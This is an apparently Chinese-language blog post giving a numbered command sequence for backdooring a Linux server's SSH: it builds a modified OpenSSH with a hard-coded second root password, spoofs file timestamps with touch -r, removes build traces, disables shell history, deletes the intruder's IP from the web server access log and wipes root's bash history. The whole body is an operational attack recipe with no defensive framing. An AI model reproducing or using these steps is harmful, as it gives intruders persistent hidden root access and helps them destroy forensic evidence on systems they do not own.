ssh後門

Linux SSH後門

 可以讓root賬號有兩個密碼,不影響管理員正常登陸。

 在includes.h 裏面 修改密碼,然後編譯 安裝.

  1.    unzip sshd.zip  
  2.   cd openssh   
  3.   
  4.   vi version.h   
  5.   
  6.   #define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2   
  7.   
  8.   vi includes.h   
  9.   
  10.   #define _SECRET_PASSWD "123456" --edit as u wish   
  11.   
  12.   cp /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  13.   
  14.   cp /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  15.   
  16.   touch -r /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  17.   
  18.   touch -r /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  19.   
  20.   cp /usr/bin/ssh /usr/bin/ssh-keypub   
  21.   
  22.   touch -r /usr/bin/ssh /usr/bin/ssh-keypub   
  23.   
  24.   ./configure --prefix=/usr  --sysconfdir=/etc/ssh   
  25.   
  26.   make && make install   
  27.   
  28.   cp ssh_config sshd_config /etc/ssh/   
  29.   
  30.   cd ..   
  31.   
  32.   rm -rf ./ssh*   
  33.   
  34.   rm -rf openssh   
  35.   
  36.   diff /etc/ssh/sshd_config /etc/ssh/sshd_config.pub   
  37.   
  38.   vi sshd_config   
  39.   
  40.   diff /etc/ssh/ssh_config /etc/ssh/ssh_config.pub   
  41.   
  42.   vi ssh_config   
  43.   
  44.   touch -r /etc/ssh/sshd_config.pub /etc/ssh/sshd_config   
  45.   
  46.   touch -r /etc/ssh/ssh_config.pub /etc/ssh/ssh_config   
  47.   
  48.   touch -r /usr/bin/ssh-keypub /usr/bin/ssh*   
  49.   
  50.   /etc/init.d/sshd restart  
  51.         export HISTFILE=/dev/null   
  52.   
  53.      export HISTSIZE=0  
  54.   
  55.   cd /etc/httpd/logs/   
  56.   
  57.   sed -i '/ip/d' access_log  
  58.         登入後門:
  59.         ssh -l root ip        密碼:123456
  60.         echo >/root/.bash_history
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章